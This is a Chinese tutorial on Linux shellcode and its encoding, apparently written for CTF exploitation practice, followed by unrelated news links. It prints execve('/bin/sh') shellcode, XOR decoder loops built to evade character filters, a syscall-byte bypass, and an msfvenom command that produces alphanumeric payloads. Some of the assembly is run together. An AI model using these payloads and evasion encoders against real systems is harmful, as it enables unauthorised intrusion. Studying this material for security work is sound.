深度解析shellcode原理及编码技术|世界头条
shellcode原理
系统调用execve("/bin/sh", 0, 0)
具体可以参考系统调用表、64位linux中断向量表
(资料图片仅供参考)
64位
寄存器:
rax = 0x3brdi = "/bin/sh"rsi = 0rdx = 0
一段简单的 shellcode:
mov rax, 0x68732f6e69622fpush raxmov rdi, rspxor rsi, rsixor rdx, rdxpush 0x3bpop raxsyscall
32位
寄存器:
eax = 0xbebx = "/bin/sh"ecx = 0edx = 0
一段简单的 shellcode:
push 0x68732fpush 0x6e69622fmov ebx, espxor edx, edxxor eax, eaxint 0x80
shellcode编码技术
限制字符集的shellcode:
一般的可以直接用工具生成。
限制严格的需要进行手写
手写shellcode
思路一:
根据限制的字符集列出对应的可以使用的指令
对上面的 shellcode 进行修改
再转为对应的机器码
思路二(ALPHA3就是这么实现的):
创建一个能够满足字符集的解码器
根据解码器将shellcode编码成能够满足字符集
这里参考Writing IA32 Restricted Instruction Set Shellcode Decoder Loops讲讲思路二。
首先,考虑为什么要解码:过滤输入的一个普遍问题是编码数据中每个字节可以具有的可能值少于 256 个。但是必须假设原始数据可以包含所有 256 个可能的字节。 这意味着必须使用两个或更多字节来编码一个字节。
编码后的 shellcode 要在程序中运行需要附带解码器先进行解码,大概是下面的结构:
[decoder][encoded shellcodes]
接下来是解码器实现的一些细节问题。
解码器
解码器循环:
.-> | 1. 读取编码数据 (input)| L | 2. 解码| O | 3. 保存结果 (output)| O | 4. 移动到下一段数据| P | 5. 检查是否到达数据`--'| 6. 如果没到跳转至第1步V (decoding finished)
重定位
解码器需要知道编码过的shellcode在内存中的位置才能进行解码。由于 shellcode 是被插入到程序中的,而且一些程序还开启了随机化保护,并不确定 shellcode 的实际位置,因此解码器中 shellcode 的位置操作数不能写死,而需要动态计算。这可以利用重定位技术实现。
其中一种重定位技术实现方法是:
利用特殊指令call、fnstenv等动态获取当前指令的运行时地址
计算该地址与当前指令相对shellcode的偏移的差值(被称为delta offset)
将该差值加到对应数据与该指令相对偏移上,得到的就是运行时数据的正确地址
Patch
对编码器种和补丁中不符合要求的指令可以再编码以使其符合要求。
syscall绕过
不允许出现syscall 字符时(\x0f\x05)
一般会利用一个0x9090 ^ 0x959f=0x0f05, 如下:
xor word ptr[rip], 0x959fnopnop ;0x909
使用0偏移
使用偏移为0的操作数,表示的意义相同,但生成的机器码不同:
00 00 add %al, (%eax)00 40 00 add %al, 0(%eax)
FNSTENV XOR decoder
fnstenv指令将最后执行的一条FPU指令相关的协处理器的信息保存在指定的内存中,保存的信息偏移12字节处就是最后执行的浮点指令的运行时地址。
global _start_start:fabs ; fabs指令fnstenv [esp] ; 保存环境,该结构偏移12字节处就是最后执行的浮点指令的运行时地址pop edxpop edxpop edxpop edx ;此处将fabs指令的运行时地址传给edxsub dl, -25 ; offset from fabs -> xor buffer edx = edx + 25,25的大小指的是从shllcode到fabs的偏移begin:xor ecx,ecx ; 清零循环计数器ecxsub cx, -0x15F ; 设置cx为shellcode长度decode:xor byte [ebx], 0x99 ; 异或key来解码inc ebx ; 进入下一字节loop decode ; 循环解码shellcode:db ...........................
JMP/CALL decoder
global _start_start:jmp short getdata ; 跳转到getdatabegin:pop ebx ; 弹出shellcode的地址xor ecx,ecx ; 清零循环计数器ecxsub cx, -0x15F ; 设置cx为shellcode长度decode:xor byte [ebx], 0x99 ; 异或key来解码inc ebx ; 进入下一字节loop decode ; 循环解码jmp short shellcode ; 跳到解码完成的shellcodegetdata:call begin ; 将下一条指令(shellcode)位置压栈,跳到beginshellcode: ; 异或加密后的shellcodedb ..........................
shellcode工具
字符集
alphanumeric指令集
Alphanumeric shellcode:用的 AT&T 语法,%{16bit}表示16位寄存器,(%{64bit})表示64位寄存器指针,[byte]表示字节大小立即数。
X86 alphanumeric opcodes
X64 alphanumeric opcodes
ascii指令集
Ascii shellcode
编码工具
可以利用工具进行编码,但是现在的题目限制比较严格,一般都要手写:
pwntools encoders:这个用作者的话来说目前还是一团糟,没啥用
msfvenom:目前我用的这个,比较好安装,使用也没什么问题
ALPHA3:这个安装好像有点不便,兼容性也有些问题
AE64
PolyAsciiShellGen: Caezar ASCII Shellcode Generator
pwntools encoders
安装方法不介绍了。
使用方法看文档:/en/latest/
msfvenom
安装
msf的一个模块。Kali下自带,其他环境到官网装。
使用
先执行msfvenom -l encoders挑选一个编码器:
$ msfvenom -l encoders Framework Encoders [--encoder <value>]====================================== Name Rank Description ---- ---- ----------- cmd/brace low Bash Brace Expansion Command Encoder cmd/echo good Echo Command Encoder cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder cmd/ifs low Bourne ${IFS} Substitution Command Encoder cmd/perl normal Perl Command Encoder cmd/powershell_base64 excellent Powershell Base64 Command Encoder cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder generic/eicar manual The EICAR Encoder generic/none normal The "none" Encoder mipsbe/byte_xori normal Byte XORi Encoder mipsbe/longxor normal XOR Encoder mipsle/byte_xori normal Byte XORi Encoder mipsle/longxor normal XOR Encoder php/base64 great PHP Base64 Encoder ppc/longxor normal PPC LongXOR Encoder ppc/longxor_tag normal PPC LongXOR Encoder ruby/base64 great Ruby Base64 Encoder sparc/longxor_tag normal SPARC DWORD XOR Encoder x64/xor normal XOR Encoder x64/xor_context normal Hostname-based Context Keyed Payload Encoder x64/xor_dynamic normal Dynamic key XOR Encoder x64/zutto_dekiru manual Zutto Dekiru x86/add_sub manual Add/Sub Encoder x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder x86/avoid_underscore_tolower manual Avoid underscore/tolower x86/avoid_utf8_tolower manual Avoid UTF8/tolower x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder x86/bmp_polyglot manual BMP Polyglot x86/call4_dword_xor normal Call+4 Dword XOR Encoder x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder x86/context_stat manual stat(2)-based Context Keyed Payload Encoder x86/context_time manual time(2)-based Context Keyed Payload Encoder x86/countdown normal Single-byte XOR Countdown Encoder x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder x86/nonalpha low Non-Alpha Encoder x86/nonupper low Non-Upper Encoder x86/opt_sub manual Sub Encoder (optimised) x86/service manual Register Service x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder x86/single_static_bit manual Single Static Bit x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder x86/xor_dynamic normal Dynamic key XOR Encoder
根据输入的 shellcode 编码为 linux 平台 x86 架构 BufferRegister=EAX 的纯字母shellcode:
$ echo "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
BufferRegister=EAX 用来告诉编码器 shellcode 的位置保存在哪个寄存器中,用于编码器在内存中找到 shellcode 的位置,对编码后的 shellcode 进行解码
具体可以参考Linux pwn入门教程(2)—shellcode的使用
数据库
可以直接查找现成的 shellcode
Exploit Database Shellcodes
Shellcodes database for study cases
参考
shellcode题目整理, /archive/1447/
shellcode 开发, /ctf-all-in-one/4_tips/_shellcode
Linux pwn入门教程(2)—shellcode的使用, /p/40006190
【安全健行】(4):揭开shellcode的神秘面纱, /windhawkfly/1652463
shellcode xor编码/解码[1], /moonflow/archive/2012/05/23/
Hacking/Shellcode/Restricted instruction set, /web/20111023111816//wiki//Hacking/Shellcode/Restricted_instruction_set
Writing IA32 Restricted Instruction Set Shellcode Decoder Loops, /Decoder_%
本文链接: /in-depth-analysis-of-shellcode-principle-and-encoding-technology
LinuxStory 原创文章,转载请注明出处,否则必究相关责任。
关键词:
相关阅读
-
深度解析shellcode原理及编码技术|世界头条
shellcode原理系统调用execve(" bin sh",0,0)具体可以参考系统调用表、 -
最资讯丨东营市水文中心顺利通过自然资...
大众网记者陈亚琼通讯员梁洪儒东营报道6月26日,东营市水文中心派员参 -
中国恒大:截至2023年5月末 恒大地产涉...
证券时报e公司讯,中国恒大在港交所公告,截至2023年5月末,恒大地产涉 -
当前热门:项城一高成功举办2023年高考...
项城一高成功举办2023年高考志愿填报咨询活动,项城,招生,一高,填报志愿 -
巴厘岛命案死者好友发声 如何看待巴厘...
大家好,今日关于【巴厘岛命案死者好友发声如何看待巴厘岛命案调查】迅 -
我国首个万吨级新能源制氢项目成功在内...
▲现场图片。李时宇 摄6月29日,我国首个万吨级新能源制氢项目——... -
九成营收来自单一解决方案 赴港上市的...
近日,云工场科技控股有限公司(以下简称“云工场”)向港交所提交... -
天天亮点!2023年中央财政支持招募“三...
中国教育报-中国教育新闻网讯(记者林焕新)近日,人社部、财政部联合 -
上海市市场监督管理局就互联网平台企业...
据上海发布消息,上海市市场监督管理局制定《<互联网平台企业竞争合规 -
万人说新疆|越野摩托车手阿巴斯的飞驰
澎湃新闻讯职业越野摩托车手阿巴斯·加帕尔从2010年起开始从事越野... -
《支付宝》5月17日蚂蚁庄园答案(1)
支付宝5月17日蚂蚁庄园的问题是:哪种细胞被称为人体的“健康卫士”... -
天天热文:【短讯】超150位高管批评《AI...
【短讯】超150位高管批评《AI法案》:可能损害欧洲竞争力。新闻资讯提 -
陈馨儿演员 陈馨儿|播资讯
1、陈偌汐。2、也叫陈馨儿,1995年6月11日出生,演员。3、在《屌丝男士 -
《消失的她》实时票房破16亿!观影人次...
据灯塔专业版,影片《消失的她》上映9天,实时票房突破16亿!截至今日 -
7月,萧山打工人可能会多一笔钱 世界即时看
7月,萧山打工人可能会多一笔钱,存款,结息,萧山,打工人,住房公积金 -
为未成年人筑牢网络保护屏障|世界快看点
加强未成年人网络保护,是一项关乎青少年的身心健康和成长成才的大事。 -
天天时讯:湖南绥宁:工间操引导职工增...
6月29日,湖南省绥宁县2023年职工工间操大赛在该县民族体育馆开幕。本 -
动圈式扬声器工作原理是电动机吗 动圈...
1、不相同。2、动圈式话筒工作过程是:声波振动→引起膜片振动→带动线 -
垫资购买商品返佣金?小心背后就是诈骗...
今天(6月30日),记者获悉,近日,常州市民胡女士报警称:在某音上看 -
小米手机怎么进入recovery模式快捷_小米...
1、工具:小米8在手机中找到设置选项,点击设置并进入,如下图所示。2